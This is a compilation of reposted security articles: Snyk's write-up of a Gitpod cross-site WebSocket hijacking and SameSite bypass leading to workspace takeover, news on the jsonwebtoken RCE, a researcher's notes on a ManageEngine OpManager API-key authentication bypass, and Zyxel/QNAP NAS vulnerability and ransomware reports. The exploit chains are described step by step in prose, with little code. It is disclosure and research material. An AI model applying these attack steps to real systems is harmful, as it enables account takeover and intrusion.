As more and more companies begin to leverage cloud-based development environments for benefits such as improved performance, developer experience, consistent development environments, and low setup times, we couldn’t help but wonder about the security implications of adopting these cloud based IDEs.

First, let’s provide a brief overview of how CDEs operate so we can understand the difference between cloud-based and traditional, local-workstation based development — and how it changes the developer security landscape.

In contrast to traditional development, CDEs run on a cloud hosted machine with an IDE backend. This typically provides a web application version of the IDE and support for integrating with a locally installed IDE over SSH, giving users a seamless and familiar experience. When using a CDE, the organization’s code and any supporting services, such as a development database, are hosted within the cloud. Check out the following diagram for a visual representation of information flow in a CDE.

The security risks of locally installed development environments are not new. However, they historically haven’t received much attention from developers. In May 2021, Snyk disclosed vulnerable VS Code extensions that lead to a 1-click data leak or arbitrary command execution. These traditional workstation-based development environments, such as a local instance of VS Code or IntelliJ, carry other information security concerns — including hardware failure, data security, and malware. While these concerns can be addressed by employing Full Disk Encryption, version control, backups, and anti-malware systems, many questions remain unanswered with the adoption of cloud-based development environments: 

  • What happens if a cloud IDE workspace is infected with malware?
  • What happens when access controls are insufficient and allow cross-user or even cross-organization access to workspaces?
  • What happens when a rogue developer exfiltrates company intellectual property from a cloud-hosted machine outside the visibility of the organization’s data loss prevention or endpoint security software?

In a current security research project here at Snyk, we examine the security implications of adopting cloud based IDEs. In this article we present a case study of one of the vulnerabilities discovered during our initial exploration in the Gitpod platform. 

Examining the Gitpod platform

Disclaimer: When it came to looking at cloud IDE solutions for our research, we settled on either self-hosted or cloud-based solutions, where the vendor has a clearly defined security policy providing safe harbor for researchers. 

One of the most popular CDE’s is Gitpod. Its wide adoption and extended feature set — including automated backups, Git integration out of the box, and multiple IDE backends — ensured that Gitpod was among the first products we looked into.

The first stage of our research involved becoming familiar with the basic workflows of Gitpod, setting up an organization, and experimenting with the product while capturing traffic using Burpsuite to observe the various APIs and transactions. We then pulled the Gitpod source code from GitHub to study the inner workings of its APIs, and reviewed any relevant architecture documentation to better understand each of the components and their function. A great resource for this was a video that provided an initial deep dive into the architecture of Gitpod. At a high level, Gitpod leverages multiple microservices deployed in a Kubernetes environment, where each user workspace is deployed to a dedicated ephemeral pod. 

Gitpod’s primary set of external components are concerned with the dashboard, authentication, and the creation and management of workspaces, organizations, and accounts. At its core, the main component here is aptly named server, a TypeScript application that exposes a JSONRPC API over WebSocket that is consumed by a React frontend called dashboard

From the dashboard, it’s easy to integrate with a SCM provider, such as GitHub or Bitbucket, to import a repository and spin up a development environment — which then serves the source code and provides a working Git environment. Once the workspace is provisioned, it is made accessible via 

SSH
 and 
HTTPS
 on a subdomain of gitpod.io (i.e 
https://[WORKSPACE_NAME].[CLUSTER_NAME].gitpod.io
) through a Golang-based component called ws-proxy

The security vulnerability that was discovered through our research relates primarily to the server component and the JSONRPC served over a WebSocket connection, which ultimately led to a workspace takeover in Gitpod.

Technical details

WebSockets and Same Origin Policy

WebSocket is a technology that allows for real-time, two-way communication between a client (typically a web browser) and a server. It enables a persistent connection between the client and server, allowing for continuous “real-time” data transfer without the need for repeated HTTP requests. 

An interesting aspect of WebSockets from a security perspective, is that a browser security mechanism, the Same Origin Policy (SOP), does not apply. This is the security control which prevents a website from issuing an AJAX request to another website and being able to read the response. If this were possible, it would present a security concern because browsers typically submit cookies along with every request (even for Cross Origin requests, such as CSRF related attacks). Without SOP, any website would be able to issue requests to foreign websites and obtain your data from other domains.

This leads us to the vulnerability class known as Cross-Site WebSocket Hijacking. This attack is similar to a combination of a Cross-Site Request Forgery and CORS misconfiguration. When a WebSocket handshake relies solely upon HTTP cookies for authentication, a malicious website is able to instantiate a new WebSocket connection to the vulnerable application, allowing an attacker to both send and receive data through the connection.

When reviewing an application with WebSocket connections, it’s always worth examining this in depth. Let’s take a look at the WebSocket request for the Gitpod server.

In normal circumstances, the connection is successfully upgraded to a WebSocket and communication begins. There was no additional authentication taking place within the WebSocket exchange itself, and the JSONRPC can be invoked via the WebSocket connection.

So far, we’ve found no additional authentication taking place within the established channel — a good sign for any potential attackers. Now, let’s verify that no additional Origin checks are taking place by taking a handshake we have observed and tampering with the Origin header.

This looks promising! It seems that the domain 

evil.com
 is able to issue Cross-Origin WebSocket requests to 
gitpod.io
. However, another security mechanism introduces a challenge.

SameSite Cookie bypass

SameSite cookies are a fairly recent addition, providing partial mitigation against Cross-Site Request Forgery (CSRF) attacks. While not everyone has adopted them, most popular browsers have made the default value for all cookies which do not explicitly disable 

SameSite
 to be 
Lax
. So while the underlying vulnerability is present, without a bypass for 
SameSite
 cookies our attack would largely be theoretical and only work against a subset of outdated and niche browsers.

So what is a 

site
 in the context of 
SameSite
? Simply put, the site corresponds to the combination of the scheme and the registrable domain (if any) of the origin’s host. If we look at the specifications for 
SameSite
 we can see that subdomains are not considered. This is more relaxed than the specification of an Origin used by the Same Origin Policy, which is comprised of a scheme + host (including subdomains) + port (eg: https://security.snyk.io:8443).

Earlier, we observed that the workspace was exposed via a subdomain on 

gitpod.io
. In the context of 
SameSite
, the workspace URL is considered to be the same site as 
gitpod.io
. So, it should be possible for one workspace to issue a cross-domain 
SameSite
 request to a 
*.gitpod.io
 domain with the original user’s cookies attached. Let’s see if we can leverage an attacker controlled workspace to serve a WebSocket Hijacking payload. 

To first verify that the cookies are indeed transmitted and the WebSocket communication is successfully achieved, let’s open the browser console from a workspace and attempt to initiate a WebSocket connection.

As we can see in the above screenshot, we attempt to open a new WebSocket connection and, once open, submit a JSONRPC request. We can see in the console output that a message has been received containing the result of our request, confirming that the cookies are submitted and the origin is permitted to open a websocket to 

gitpod.io
.

We now need a way to serve JavaScript from the workspace that can be accessed by a Gitpod user. When looking through the features available, it is possible to expose ports in the workspace and make them accessible using a command line utility called 

gitpod-cli
 — available on the path inside the workspace by typing 
gp
. We can invoke 
gp ports expose 8080
, and then set up a basic Python web server using 
python -m http.server 8080
. This in turn creates a new subdomain where the exposed port can be accessed as shown below.

However, the connection failed. This is somewhat concerning and requires more investigation. Here we open the source code and start looking for what could be causing the problem. We found the following regular expression pattern, which appears to be used to extract the workspace name from the URL.

The way this matching is performed results in the wrong workspace name being extracted, as demonstrated in the following screenshot:

So, it looks like we can’t serve our content from an exposed port inside the Gitpod hosted workspace and we need another way. By now we already know that we have privileged access to a machine that’s running the VS Code service and is serving requests issued to our workspace URL — so can we abuse this in some way?

The initial idea was to terminate the 

vscode
 process and start a Python web server to serve an HTML file. Unfortunately, this did not work and resulted in the workspace being restarted. This appeared to be performed by a local service 
supervisor
. While testing this approach we noticed that when we terminated the process without binding another process to the VS Code port, the 
supervisor
 service will automatically restart the 
vscode
 process, resulting in a brief hang to the UI without a full restart of the workspace.

This brought a promising idea. Can we patch VS Code to serve a built-in exploit for us?

Patching VS Code was relatively easy. By comparing the original VS Code server source code to the distributed version, we quickly found a convenient location to serve the exploit.

VS Code contains an API endpoint at 

/version
, which returns the commit of the current version:

We modified it so that the correct 

Content-Type
 of 
text/html
 and the contents of an HTML file were returned. Now, we terminated the 
vscode
 process, allowing our newly introduced changes to load into a newly spawned VS Code process instance:

Finally, we can leverage the JSONRPC methods 

getLoggedInUser
getGitpodTokens
getOwnerToken
, and 
addSSHPublicKey
 to build a payload that grants us full control over the user’s workspaces when an unsuspecting Gitpod user visits our link!

Here it is in action:

We can see that we’ve been able to extract some sensitive information about the user account, and are notified that our SSH key has been added to the account. Let’s see if we can SSH to the workspace:

Mission successful! As shown above, we have full access to the user’s workspaces after they’ve visited a link we sent them!

Timeline

  • Mon, Feb. 13, 2023 — Vulnerability disclosed to vendor
  • Mon, Feb. 13, 2023 — Vendor acknowledges vulnerability
  • Tue, Feb. 14, 2023 — New version released and deployed to production SaaS Gitpod instance
  • Tue, Feb. 22, 2023 — CVE-2023-0957 assigned
  • Wed, Mar. 1, 2023 — Vendor releases new version for Gitpod Self-Hosted and issues advisory

Summary

In this post, we presented the first findings from our current research into Cloud Development Environments (CDEs) — which allowed a full account takeover through visiting a link, exploiting a commonly misunderstood vulnerability (WebSocket Hijacking), and leveraging a practical SameSite cookie bypass. As cloud developer workspaces are becoming increasingly popular, it’s important to consider the additional risks that are introduced.

We would like to praise Gitpod for their fantastic turnaround on addressing this security vulnerability, and look forward to presenting more of our findings on cloud-based remote development solutions in the near future.

Popular JWT cloud security library patches “remote” code execution hole

Popular JWT cloud security library patches “remote” code execution hole

Original text by Paul Ducklin

JWT is short for JSON Web Token, where JSON itself is short for JavaScript Object Notation.

JSON is a modernish way of representing structured data; its format is a bit like XML, and can often be used instead, but without all the opening-and-closing angle brackets to get in the way of legibility.

For example, data that might be recorded like this in XML…

<?xml version="1.0" encoding="UTF-8"?>
<data>
   <name>Duck</name>
   <job>
      <employer>Sophos</employer>
      <role>NakSec</role>
   </job>
</data>

…might come out like this in JSON:

{"name":"Duck","job":{"employer":"Sophos","role":"NakSec"}}

Whether the JSON really is easier to read than the XML is an open question, but the big idea of JSON is that because the data is encoded as legal JavaScript source, albeit without any directly or indirectly executable code in it, you can parse and process it using your existing JavaScript engine, like this:

The output string undefined above merely reflects the fact that console.log() is a procedure – a function that does some work but doesn’t return a value. The word Sophos is printed out as a side-effect of calling the function, while undefined denotes what the function calculated and sent back: nothing.

The popularity of JavaScript for both in-browser and server-side programming, plus the visual familiarity of JSON to JavaScript coders, means that JSON is widely used these days, especially when exchanging structured data between web clients and servers.

And one popular use of JSON is the JWT system, which isn’t (officially, at any rate) read aloud as juh-witt, as it is written, but peculiarly pronounced jot, an English word that is sometimes used to refer the little dot we write above above an 

i
 or 
j
, and that refers to a tiny but potentially important detail.

Authenticate strongly, then get a temporary token

Loosely speaking, a JWT is a blob of encoded data that is used by many cloud servers as a service access token.

The idea is that you start by proving your identity to the service, for example by providing a username, password and 2FA code, and you get back a JWT.

The JWT sent back to you is a blob of base64-encoded (actually, URL64-encoded) data that includes three fields:

  • Which crytographic algorithm was used in constructing the JWT.
  • What sort of access the JWT grants, and for how long.
  • A keyed cryptographic hash of the first two fields, using a secret key known only to your service provider.

Once you’ve authenticated up front, you can make subsequent requests to the online service, for example to check a product price or to look up an email address in a database, simply by including the JWT in each request, using it as a sort-of temporary access card.

Clearly, if someone steals your JWT after it’s been issued, they can play it back to the relevant server, which will typically give them access instead of you…

…but JWTs don’t need to be saved to disk, usually have a limited lifetime, and are sent and received over HTTPS connections, so that they can’t (in theory at least) easily be sniffed out or stolen.

When JWTs expire, or if they are cancelled for security reasons by the server, you need to go through the full-blown authentication process again in order to re-establish your right to access the service.

But for as long they’re valid, JWTs improve performance because they avoid the need to reauthenticate fully for every online request you want to make – rather like session cookies that are set in your browser while you’re logged into a social network or a news site.

Security validation as infiltration

Well, cybersecurity news today is full of a revelation by researchers at Palo Alto that we’ve variously seen described as a “high-severity flaw” or a “critical security flaw” in a popular JWT implementation.

In theory, at least, this bug could be exploited by cybercriminals for attacks ranging from implanting unauthorised files onto a JWT server, thus maliciously modifying its configuration or modifying the code it might later use, to direct and immediate code execution inside a victim’s network.

Simply put, the act of presenting a JWT to a back-end server for validation – something that typically happens at every API call (jargon for making a service request) – could lead malware being implanted.

But here’s the good news:

  • The flaw isn’t intrinsic to the JWT protocol. It applies to a specific implementation of JWT called 
    jsonwebtoken
     from a group called Auth0.
  • The bug was patched three weeks ago. If you’ve updated your version of 
    jsonwebtoken
     from 8.5.1 or earlier to version 9.0.0, which came out on 2022-12-21, you’re now protected from this particular vulnerability.
  • Cybercriminals can’t directly exploit the bug simply by logging in and making API calls. As far as we can see, although an attacker could subsequently trigger the vulnerability by making remote API requests, the bug needs to be “primed” first by deliberately writing a booby-trapped secret key into your authentication server’s key-store.

According to the researchers, the bug existed in the part of Auth0’s code that validated incoming JWTs against the secret key stored centrally for that user.

As mentioned above, the JWT itself consists of two fields of data denoting your access privileges, and a third field consisting of the first two fields hashed using a secret key known only to the service you’re calling.

To validate the token, the server needs to recalculate the keyed hash of those first two JWT fields, and to confirm the hash that you presented matches the hash it just calculated.

Given that you don’t know the secret key, but you can present a hash that was computed recently using that key…

…the server can infer that you must have acquired the hash from the authentication server in the first place, by proving your identity up front in some suitable way.

Data type confusion

It turns out that the hash validation code in 

jsonwebtoken
 assumes (or, until recently, assumed) that the secret key for your account in the server’s own authentication key-store really was a cryptographic secret key, encoded in a standard text-based format such as PEM (short for privacy enhanced mail, but mainly used for non-email purposes these days).

If you could somehow corrupt a user’s secret key by replacing it with data that wasn’t in PEM format, but that was, in fact, some other more complex sort of JavaScript data object…

…then you could booby-trap the secret-key-based hash validation calculation by tricking the authentication server into running some JavaScript code of your choice from that infiltrated “fake key”.

Simply put, the server would try to decode a secret key that it assumed was in a format it could handle safely, even if the key wasn’t in a safe format and the server couldn’t deal with it securely.

Note, however, that you’d pretty much need to hack into the secret key-store database first, before any sort of truly remote code execution trigger would be possible.

And if attackers are already able to wander around your network to the point that they can not only poke their noses into but also modify your JWT secret-key database, you’ve probably got bigger problems than CVE-2022-23539, as this bug has been designated.

What to do?

If you’re using an affected version of 

jsonwebtoken
update to version 9.0.0 to leave this bug behind.

However, if you’ve now patched but you think crooks might realistically have been able to pull off this sort of JWT attack on your network, patching alone isn’t enough.

In other words, if you think you might have been at risk here, don’t just patch and move on.

Use threat detection and response techniques to look for holes by which cybercriminals could get far enough to attack your network more generally…

…and make sure you don’t have crooks in your network anyway, even after applying the patch.

Remote code execution bug discovered in the popular JsonWebToken library

Remote code execution bug discovered in the popular JsonWebToken library

Original text by Pierluigi Paganini

The open-source jsonwebtoken (JWT) library is affected by a high-severity security flaw that could lead to remote code execution.

The open-source JsonWebToken (JWT) library is affected by a high-severity security flaw, tracked as CVE-2022-23529 (CVSS score: 7.6), that could lead to remote code execution.

The package is maintained by Auth0, it had over 9 million weekly downloads as of January 2022 and it is used by more than 22.000 projects.

The flaw was discovered by Unit 42 researchers, it can be exploited by threat actors by tricking a server into verifying a maliciously crafted JSON web token (JWT) request. 

“By exploiting this vulnerability, attackers could achieve remote code execution (RCE) on a server verifying a maliciously crafted JSON web token (JWT) request.” reads the advisory published by Palo Alto Networks. “With that being said, in order to exploit the vulnerability described in this post and control the secretOrPublicKey value, an attacker will need to exploit a flaw within the secret management process.”

JsonWebToken is an open-source JavaScript package that allows users to verify/sign JSON web tokens (JWT). 

The flaw impacts JsonWebToken package version 8.5.1 or an earlier version, the JsonWebToken package version 9.0.0 addressed the issue.

“For versions <=8.5.1 of jsonwebtoken library, if a malicious actor has the ability to modify the key retrieval parameter (referring to the secretOrPublicKey argument from the readme link) of the jwt.verify() function, they can gain remote code execution (RCE).” reads the advisory published on GitHub. “You are affected only if you allow untrusted entities to modify the key retrieval parameter of the jwt.verify() on a host that you control.”

Vulnerabilities in open-source projects are very dangerous, threat actors could exploit them as part of supply chain attacks that can impact any projects relying on them.

“Open source projects are commonly used as the backbone of many services and platforms today. This is also true for the implementation of sensitive security mechanisms such as JWTs, which play a huge role in authentication and authorization processes.” concludes Palo Alto. “Security awareness is crucial when using open source software. Reviewing commonly used security open source implementations is necessary for maintaining their dependability, and it’s something the open source community can take part in.”

Below is the timeline for this vulnerability:

  • July 13, 2022 – Unit 42 researchers sent a disclosure to the Auth0 team under responsible disclosure procedures
  • July 27, 2022 – Auth0 team updated that the issue was under review
  • Aug. 23, 2022 – Unit 42 researchers sent an update request
  • Aug. 24, 2022 – Auth0 team updated that the engineering team was working on the resolution
  • Dec. 21, 2022 – A patch was provided by the Auth0 engineering team

CVE-2022-36923 ManageEngine OpManager getUserAPIKey Authentication Bypass

CVE-2022-36923 Detail

origianl text by 4er 

Intro:

ManageEngine offers enterprise IT management software for your service management, operations management, Active Directory and security needs.

CVE-2022-36923 ManageEngine OpManager getUserAPIKey Authentication Bypass
CVE-2022-35405 Zoho Password Manager Pro XML-RPC RCE
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE to RCE
CVE-2021-44077 Zoho ManageEngine ServiceDesk Plus Pre-Auth RCE
CVE-2020-10189 Zoho ManageEngine Desktop Central deserialize RCE

According to ZDI’s announcement , the vulnerability exists


<strong>com.adventnet.me.opmanager.server.util.RMMUtil#getUserAPIKey</strong>

The key point is how to get to this position.

Search the xml configuration file to find

The route is 

/RestAPI/getAPIKey
, try to construct the request packet

Prompt missing parameters, see the log to report an error

The IAMSecurityException breakpoint hits its constructor and traces back up, and finally 

com.adventnet.iam.security.ParameterRule#checkForAllowedValueRegex
found that an exception was thrown because the parameter regular matching was incorrect.

The final construction parameter successfully returns 200

look back now

<strong>com.adventnet.me.opmanager.server.util.RMMUtil#getUserAPIKey</strong>


    public String getUserAPIKey(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String userName = request.getParameter("username");
        String domainName = request.getParameter("domainname");
        if (userName != null &amp;&amp; domainName != null) {
            try {
                Long userId = MickeyLiteUtil.getUserId(userName, domainName);
                String apiKey = (new APIKeyGenerator()).checkAndGenerateApiKey(userId, -1L);
                response.setContentType("text/plain");
                PrintWriter out = response.getWriter();
                out.println(apiKey);
                out.flush();
                return null;
            } catch (Exception var8) {
                var8.printStackTrace();
                return null;
            }
        } else {
            return null;
        }
    }

MickeyLiteUtil.getUserId()

You need to give a correct domainName, it depends on what value is in the AaaLogin table in the database.

View database jdbc link

<strong>C:\Program Files\ManageEngine\OpManager\conf\database_params.conf</strong>

The password is encrypted and found in the bin directory

<strong>bin\encrypt.bat</strong>


call .\setCommonEnv.bat

set CLASS_PATH="%SERVER_HOME%\lib\framework-tools.jar"

IF "%1"=="" GOTO SHOW_SYNTAX

"%JAVA%"  -Dserver.home="%SERVER_HOME%" -cp %CLASS_PATH% com.zoho.framework.utils.crypto.CryptoUtil %*
GOTO END_ENCRYPT

:SHOW_SYNTAX
"%JAVA%" -Dserver.home="%SERVER_HOME%" -cp %CLASS_PATH% com.zoho.framework.utils.crypto.CryptoUtil "showUsage"

:END_ENCRYPT

Call the CryptoUtil class for encryption

Write a class directly to call the decrypt function

cryptTag is 

<strong>EnDecryptUtil.getCryptTag()</strong>
obtained by

Parse the persistence-configurations.xml file to get the CryptTag attribute and view the file content

Attempt to 

<strong>MLITE_ENCRYPT_DECRYPT</strong>
decrypt unsuccessfully, and then found that an external entity was introduced at the top of the xml file

Finally 

<strong>conf\customer-config.xml</strong>
found the CryptTag in the file

The algorithm is AES256. After decryption, link to the database and check the AaaLogin table.

The domainName is obtained 

<strong>-</strong>
, and the final request package is as follows

Get restapi from this

The rce method looked at the restapi documentation. There is a workflow that can be used for rce, but there is a problem with accessing through restapi.

<strong>OpManagerServerClasses.jar!/com/adventnet/me/opmanager/server/api/OpManagerAPIServlet.class:354</strong>

If your api is 

<strong>APIUtil.getInstance().isInternalAPI()</strong>
an internal api, the isAPIClient in the session will only be assigned when you log in, so this place isApiclient is false, and NmsUtil.isRMMEdition is false, causing an exception to be thrown 
APIError.internalAPI(request, response)
then all internal apis cannot be called.

The 

conf\OpManager\do\RestApi.xml
key APIs that define the workflow are 
<strong><em>EXPOSED_API=TRUE</em></strong>
the internal APIs.

At this point, the rce is broken. I traced back the 

isInternalAPI()
function and found that all the APIs are in the database 
<strong><em>OpManagerDB.public.restapioperation</em></strong>
table. After filtering 
<strong>exposed_api='true'</strong>
, a total of 955 APIs can be accessed through restapi.

I looked at it and saw that nothing was added, deleted, modified, and checked. I hope someone who is destined can dig out a rce.

Replenish

My colleague looked at the cve injected by the other two commands of opmanager and found that it should be possible to string rce together. see colleagues’ articles

ZOHO ManageEngine OpManager Two RCEs

The writing is rubbish, the wording is frivolous, the content is simple, and the operation is unfamiliar. The deficiencies are welcome to give pointers and corrections from the masters, and I am grateful.


CVE-2022-36923 Detail

Current Description

Zoho ManageEngine OpManager, OpManager Plus, OpManager MSP, Network Configuration Manager, NetFlow Analyzer, Firewall Analyzer, and OpUtils before 2022-07-27 through 2022-07-28 (125657, 126002, 126104, and 126118) allow unauthenticated attackers to obtain a user’s API key, and then access external APIs.


Zoho ManageEngine OpManager, OpManager Plus, OpManager MSP, Network Configuration Manager, NetFlow Analyzer, Firewall Analyzer, and OpUtils before 2022-07-27 through 2022-07-28 (125657, 126002, 126104, and 126118) allow unauthenticated attackers to obtain a user’s API key, and then access external APIs.

Y4er

Zyxel addressed a critical RCE flaw in its NAS devices

mportant RCE Vulnerability Impacts Zyxel NAS Units — Firmware Patch Launched

original text by Pierluigi Paganini

Networking equipment vendor Zyxel addressed a critical vulnerability impacting its network-attached storage (NAS) devices.

Zyxel addressed a critical vulnerability, tracked as CVE-2022-34747, impacting its network-attached storage (NAS) devices.

The CVE-2022-34747 (CVSS score: 9.8) flaw is classified as a format string vulnerability that resides in Zyxel NAS326 firmware versions prior to V5.21(AAZF.12)C0. An attacker can exploit the vulnerability to achieve unauthorized remote code execution via a crafted UDP packet.

“A format string vulnerability was found in a specific binary of Zyxel NAS products that could allow an attacker to achieve unauthorized remote code execution via a crafted UDP packet.” reads the advisory published by the vendor.

Below is the list of affected models and the firmware patches released by the company.

AFFECTED MODELAFFECTED VERSIONPATCH AVAILABILITY
NAS326V5.21(AAZF.11)C0 and earlierV5.21(AAZF.12)C0
NAS540V5.21(AATB.8)C0 and earlierV5.21(AATB.9)C0
NAS542V5.21(ABAG.8)C0 and earlierV5.21(ABAG.9)C0

The vulnerability was reported to Zyxel by Shaposhnikov Ilya.

In May 2022, Zyxel released security updates to address multiple vulnerabilities affecting multiple products, including firewall, AP, and AP controller products.

Below is the list of the four vulnerabilities, the most severe one is a command injection flaw in some CLI commands tracked as CVE-2022-26532 (CVSS v3.1 7.8):

  • CVE-2022-0734: A cross-site scripting vulnerability was identified in the CGI program of some firewall versions that could allow an attacker to obtain some information stored in the user’s browser, such as cookies or session tokens, via a malicious script.
  • CVE-2022-26531: Multiple improper input validation flaws were identified in some CLI commands of some firewall, AP controller, and AP versions that could allow a local authenticated attacker to cause a buffer overflow or a system crash via a crafted payload.
  • CVE-2022-26532: A command injection vulnerability in the “packet-trace” CLI command of some firewall, AP controller, and AP versions could allow a local authenticated attacker to execute arbitrary OS commands by including crafted arguments to the command.
  • CVE-2022-0910: An authentication bypass vulnerability caused by the lack of a proper access control mechanism has been found in the CGI program of some firewall versions. The flaw could allow an attacker to downgrade from two-factor authentication to one-factor authentication via an IPsec VPN client.

Networking device maker Zyxel is warning customers today of a new critical remote code execution (RCE) vulnerability impacting three models of its Networked Attached Storage (NAS) products.

The vulnerability is tracked as CVE-2022-34747 and has received a CVSS v3 severity score of 9.8, rated critical, but not many details have been disclosed.

“A format string vulnerability was found in a specific binary of Zyxel NAS products that could allow an attacker to achieve unauthorized remote code execution via a crafted UDP packet,” explains the advisory.

Security researcher Shaposhnikov Ilya discovered the vulnerability on June 2022. As a result, Zyxel gradually released security updates for the impacted models over the following months.

The NAS devices vulnerable to this flaw are NAS326, NAS540, and NAS542, all still within their active support period.

The vulnerable firmware versions are V5.21(AAZF.11)C0 and earlier for NAS326, V5.21(AATB.8)C0 and earlier for NAS540, and V5.21(AATB.8)C0 or older for NAS542.

The vendor has already released security updates for the impacted devices in the form of firmware updates, with links to the downloads in the security advisory.

Alternatively, you can visit Zyxel’s official download portal, enter your device model, and download the latest firmware update listed in the results.

Remote code execution flaws allow many different attacks, including bypassing the need for user authentication, elevation of privilege, or any other limiting prerequisite.

The vulnerability could be abused to steal data, delete data, or deploy ransomware on Internet-exposed NAS devices.

While all scenarios are dire, ransomware is the most common, as it gives the threat actors the best way to monetize a successful attack.

Only yesterday, we reported that QNAP patched a zero-day vulnerability over the weekend that was used in a new wave of DeadBolt ransomware attacks.

In February, the same group also targeted ASUSTOR devices by leveraging an exploit for a previously unknown flaw. 

Thus, DeadBolt is competent enough to find undocumented security gaps, let alone exploit known vulnerabilities.

Other ransomware gangs actively targeting NAS devices are Checkmate and eChoraix, both very active in 2022.

QNAP is warning customers of ongoing DeadBolt ransomware attacks that started on Saturday by exploiting a zero-day vulnerability in Photo Station.

The company has patched the security flaw but attacks continue today.

«QNAP® Systems, Inc. today detected the security threat DEADBOLT leveraging exploitation of Photo Station vulnerability to encrypt QNAP NAS that are directly connected to the Internet,» explains the security notice.

The attacks were widespread, with the ID Ransomware service seeing a surge in submissions on Saturday and Sunday.

A surge in DeadBolt submissions to ID Ransomware
Source: BleepingComputer

QNAP releases patches for a zero-day flaw

QNAP released Photo Station security updates 12 hours after DeadBolt began using the zero-day vulnerability in attacks, urging NAS customers to immediately update Photo Station to the newest version.

The following security updates fix the vulnerability:

  • QTS 5.0.1: Photo Station 6.1.2 and later
  • QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later
  • QTS 4.3.6: Photo Station 5.7.18 and later
  • QTS 4.3.3: Photo Station 5.4.15 and later
  • QTS 4.2.6: Photo Station 5.2.14 and later

Alternatively, QNAP suggests users replace Photo Station with QuMagie, a safer photo storage management tool for QNAP NAS devices.


“We strongly urge that their QNAP NAS should not be directly connected to the internet. We recommend users to make use of the myQNAPcloud Link feature provided by QNAP, or enable the VPN service.” - QNAP.

Applying the security updates will prevent the DeadBolt ransomware and other threat actors from exploiting the vulnerability and encrypting devices. However, NAS devices should never be publicly exposed to the Internet and instead placed behind a firewall.

QNAP customers can find detailed instructions on applying the available updates and setting up myQNAPcloud in the security advisory.

Finally, it is recommended to use strong passwords on all NAS user accounts and take regular snapshots to prevent data loss in the case of attacks.

DeadBolt: the NAS ransomware bane

The DeadBolt ransomware gang has been targeting NAS devices since January 2022, using an alleged zero-day vulnerability on Internet-exposed NAS devices.

The ransomware operation conducted further attacks on QNAP devices in May and June 2022.

DeadBolt ransom notes
Source: BleepingComputer

Earlier in February, DeadBolt began targeting ASUSTOR NAS devices using a zero-day vulnerability they attempted to sell to the vendor for 7.5 Bitcoin.

In most of these attacks, DeadBolt demanded a payment of just over a thousand USD from impacted users in exchange for a working decryptor.

However, other NAS ransomware groups demand more significant amounts from their victims.

The Checkmate ransomware targeted QNAP NAS products in July, demanding victims pay $15,000.